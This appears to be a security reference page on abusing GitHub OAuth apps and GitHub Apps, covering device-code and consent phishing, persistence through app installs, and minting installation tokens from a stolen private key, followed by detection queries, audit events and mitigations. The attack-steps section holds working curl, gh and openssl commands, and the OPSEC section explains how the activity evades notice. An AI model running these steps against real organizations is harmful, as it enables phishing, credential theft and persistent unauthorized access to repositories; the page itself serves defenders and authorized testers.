How it works
GitHub lets applications act on an organization's repositories in two ways, and each has its own abuse path.
OAuth apps act on behalf of a user. The user sees a consent screen, grants scopes such as repo and read:org, and the app receives an OAuth token (gho_ prefix) that works like that user within those scopes. The grant belongs to the user, not to the organization, and registering an OAuth app needs nothing but a GitHub account. This is application consent used as a phishing target: the victim signs in to the real github.com, passes MFA, and approves the attacker's app.
Organizations can add a second gate, OAuth app access restrictions. With restrictions on, an OAuth app can't access organization resources until an owner approves it. Restrictions are enabled by default for newly created organizations, and owners can turn them off.
GitHub Apps are installed on an account. An installation records the account, all or selected repositories, and the permissions that were granted. The app authenticates with a private key, signs a short JSON Web Token, and exchanges it for an installation access token (ghs_ prefix) that expires after one hour. The installation is its own principal: a non-human identity that isn't tied to the user who installed it. A GitHub App can also act on behalf of a user with a user access token (ghu_), limited by both the user's access and the app's.
Organization owners can install GitHub Apps. Repository admins can install an app too, on the repositories they administer, when the app requests no organization permissions and not the repository administration permission, unless owners have restricted this.
That gives three variants:
- OAuth app authorized by a member. Consent phishing through the web flow, or device code phishing, where the victim types a short code at
github.com/login/deviceand the attacker's client receives the token. - GitHub App installed on the organization. An attacker with an owner or repository admin session installs an app they control, or widens an existing installation's repositories or permissions, as persistence.
- Installation token theft. The attacker steals a legitimate app's private key from the server or CI system that runs it and mints installation tokens, or steals a live token from a running job.
Prerequisites
- OAuth variant: a registered OAuth app (any GitHub account can create one; the device flow has to be enabled in the app's settings) and a member who can be persuaded to authorize it. For organization resources, either restrictions are off or an owner approved the app.
- GitHub App variant: an organization owner session, or a repository admin session where admins may install apps.
- Token theft variant: read access to the app's private key (a
.pemfile, an environment variable, a CI secret), and the app's client ID or app ID. Or access to a process that holds a live installation token.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Device code phishing with an OAuth app
The attacker's client asks GitHub for a device code and a user code:
curl -s -X POST https://github.com/login/device/code \
-H "Accept: application/json" \
-d "client_id=$CLIENT_ID" \
-d "scope=repo read:org"
The response carries a device_code, an eight character user_code, the verification_uri (https://github.com/login/device), expires_in (900 seconds by default) and the polling interval. The attacker sends the user code to the victim with a pretext, then polls until the victim has entered it and approved the scopes:
curl -s -X POST https://github.com/login/oauth/access_token \
-H "Accept: application/json" \
-d "client_id=$CLIENT_ID" \
-d "device_code=$DEVICE_CODE" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code"
While the victim hasn't acted, the reply is authorization_pending. After approval it contains the access token. No client secret is needed for the device flow.
2. Consent phishing with the web flow
The classic form is a link to GitHub's own authorization page for the attacker's app:
https://github.com/login/oauth/authorize?client_id=<client-id>&scope=repo%20read:org&state=<random>
After the victim approves, GitHub redirects to the app's callback URL with a code, and the attacker's server exchanges it at https://github.com/login/oauth/access_token with the client ID and client secret.
Either way, the token is then used like a stolen personal access token:
export GH_TOKEN="$OAUTH_TOKEN"
gh api user --jq '.login'
gh api -X GET user/repos -f visibility=private --paginate --jq '.[].full_name'
3. Install a GitHub App for persistence
With an owner session, the attacker registers a GitHub App that requests repository contents and workflow permissions, installs it on the organization, and selects all repositories. With a repository admin session, the same works for the repositories that admin controls. Widening an existing, trusted installation (adding repositories, accepting a permission update) achieves the same with less noise than a new app.
4. Mint installation tokens from a stolen private key
A GitHub App's JWT needs three claims: iat (set 60 seconds in the past), exp (no more than 10 minutes in the future) and iss (the app's client ID or app ID), signed with RS256. With the key file:
# Build and sign the JWT with the app's private key
b64url() { openssl base64 -A | tr '+/' '-_' | tr -d '='; }
now=$(date +%s)
header=$(printf '{"typ":"JWT","alg":"RS256"}' | b64url)
payload=$(printf '{"iat":%s,"exp":%s,"iss":"%s"}' "$((now - 60))" "$((now + 600))" "$CLIENT_ID" | b64url)
signature=$(printf '%s.%s' "$header" "$payload" | openssl dgst -sha256 -sign app-private-key.pem -binary | b64url)
JWT="$header.$payload.$signature"
# Every account the app is installed on
curl -s -H "Accept: application/vnd.github+json" -H "Authorization: Bearer $JWT" \
https://api.github.com/app/installations
# An installation access token for one of them (valid for one hour)
curl -s --request POST \
--url "https://api.github.com/app/installations/$INSTALLATION_ID/access_tokens" \
--header "Accept: application/vnd.github+json" \
--header "Authorization: Bearer $JWT"
The response contains the token, its expiry, its permissions and its repositories. Without a request body the token gets every permission of the app and every repository of the installation.
5. Use the installation token
# Repositories the installation can reach
curl -s -H "Accept: application/vnd.github+json" -H "Authorization: Bearer $INSTALLATION_TOKEN" \
https://api.github.com/installation/repositories
# Git over HTTPS with the token as the password (needs the Contents permission)
git clone https://x-access-token:$INSTALLATION_TOKEN@github.com/example-org/example-repo.git
One app key often serves many customers or many organizations. GET /app/installations lists them all, which is why a stolen key of a widely installed app is a supply chain event and not a single-tenant one.
Impact
The attacker reaches repositories through an identity that isn't a person:
- An OAuth token reads and writes whatever its user can, within the granted scopes, across all of that user's organizations where the app is allowed.
- A GitHub App installation reads and writes the selected repositories with the app's permissions, which can include contents, workflows, secrets and organization administration.
The access is durable. An OAuth grant survives a password change. An installation survives the removal of the member who installed it. And a stolen app private key keeps producing fresh one-hour tokens for every installation until the key is rotated. From repository write access, the usual next steps are workflow changes that run code in CI and reach Actions secrets and cloud credentials; see GITHUB_TOKEN and installation token abuse in GitHub Actions.
OPSEC and artifacts
- The victim does the sign-in. In both OAuth flows the victim authenticates on github.com from their own device and network. There is no suspicious sign-in to find. What remains is the grant itself: an
oauth_authorization.createentry in the user's security log, the app in the user's list of authorized OAuth apps, and, in a restricted organization, an access request or approval (org.oauth_app_access_requested,org.oauth_app_access_approved). - A convincing app name. The consent screen shows the app's name and requested scopes. Attackers name the app after a tool the organization uses. The audit record still carries the real
oauth_application_idorapplication_client_id. - Widening instead of installing. Adding repositories to an existing installation writes
integration_installation.repositories_added, and a permission change writesintegration_installation.version_updated. Those are quieter thanintegration_installation.create, but they are recorded with the actor and the app's name. - Bot attribution. Actions taken with an installation token are attributed to the app, so they blend in with the app's normal automation. The attribution identifies the app context, not which token was used or where it was minted. The audit log records
programmatic_access_typeand the token's hash for each action. - Short tokens, long key. Installation tokens expire after an hour, so a stolen token leaves a narrow window. Minting new ones from a stolen key writes no installation change at all; the only trace is the app's activity from an unfamiliar network.
- Git events fade. Clones made with the token are
git.cloneevents, kept for seven days.
Detection
- Apps granted access. The GitHub App or OAuth app granted organization access rules cover
integration_installation.create,integration_installation.repositories_added,integration_installation.version_updatedandorg.oauth_app_access_approved. For an install, readrepository_selectionand the app'sname: a new app on all repositories is the case to review first.
action:integration_installation.create org:example-org
action:integration_installation.repositories_added org:example-org
action:org.oauth_app_access_approved org:example-org
- Restrictions turned off.
org.disable_oauth_app_restrictionslets every existing user grant reach organization resources at once. - Apps the organization owns. A new OAuth app (
oauth_application.create) or GitHub App (integration.create) registered under the organization, a new client secret, or a transfer of ownership. The app secret and ownership rules cover the takeover of an app users already trust. - Use of app tokens. In streamed events, an app's activity from a network or user agent its backend never uses, and bulk cloning by a bot actor. If a token value is known, search
hashed_token:"VALUE". - Inventory. Review installations regularly:
gh api orgs/example-org/installations --paginate \
--jq '.installations[] | [.app_slug, .repository_selection, .created_at, .updated_at, (.permissions | tostring)] | @tsv'
A user's grant, an organization's approval and an installation's repository selection are three different facts. An approval allows use and doesn't show that a user request happened, and a repository added to an installation doesn't show that a token was issued for it.
Mitigation
- Keep OAuth app access restrictions enabled and approve apps one by one. An unapproved app that a member authorizes then gets no access to organization resources.
- Limit who can install GitHub Apps. Keep installation with owners, and restrict repository admins from installing apps where that option fits the organization.
- Install on selected repositories and review requested permissions before accepting an install or a permission update. This is least privilege for applications.
- Protect app private keys. GitHub advises storing a GitHub App's private key in a key vault and never hard-coding it, even in a private repository. Rotate keys on a schedule and immediately after any compromise of the host that held one. Set a webhook secret and verify signatures.
- Narrow tokens at issue time. Request installation tokens with the
repositoriesandpermissionsparameters so that a token stolen from a job covers one repository and one task. - Teach the device flow. A code to enter at
github.com/login/devicethat the user didn't start themselves is a phishing attempt, whatever the message says. - Respond by grant, not by password. After a suspected consent phish, revoke the app's authorization in the user's settings (which revokes its tokens), deny the app in the organization's OAuth policy, and uninstall or suspend any unknown GitHub App. Then review what the app did from the audit log.
- Prefer apps you can audit over personal tokens, and inventory both. The personal access token security guide shows how to register a read-only GitHub App for that inventory.
Detection rules for this attack
Log events to collect
FAQ
What is the difference between an OAuth app and a GitHub App for an attacker?
An OAuth app acts as the user who authorized it, with the scopes that user granted, across everything the user can reach. A GitHub App is installed on an account, gets its own permissions on all or selected repositories, and can act as the installation with no user involved. A malicious OAuth app needs one member's consent; a GitHub App needs an owner or a repository admin to install it.
Does revoking the user's password or removing the user stop a malicious app?
A password change doesn't touch an OAuth authorization; the grant has to be revoked. A GitHub App installation is independent of the person who installed it and keeps working after that person is removed from the organization. It ends only when someone uninstalls or suspends the app.
How long does a stolen installation token work?
An installation access token expires one hour after it is issued. The private key of the GitHub App does not expire, and whoever holds it can mint a new token for every installation of the app at any time, until the key is deleted in the app's settings.
How can an organization see which apps have access?
Organization owners can list GitHub App installations with their repository selection and permissions, in the organization settings or through GET /orgs/{org}/installations. Approved OAuth apps are under the organization's OAuth app policy. The audit log records installs, permission updates, repository additions and OAuth approvals.
References
- Steal Application Access Token, T1528 (MITRE ATT&CK)
- Authorizing OAuth apps (GitHub Docs)
- About OAuth app access restrictions (GitHub Docs)
- Differences between GitHub Apps and OAuth apps (GitHub Docs)
- Installing a GitHub App from a third party (GitHub Docs)
- Generating a JSON Web Token (JWT) for a GitHub App (GitHub Docs)
- Generating an installation access token for a GitHub App (GitHub Docs)
- Best practices for creating a GitHub App (GitHub Docs)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.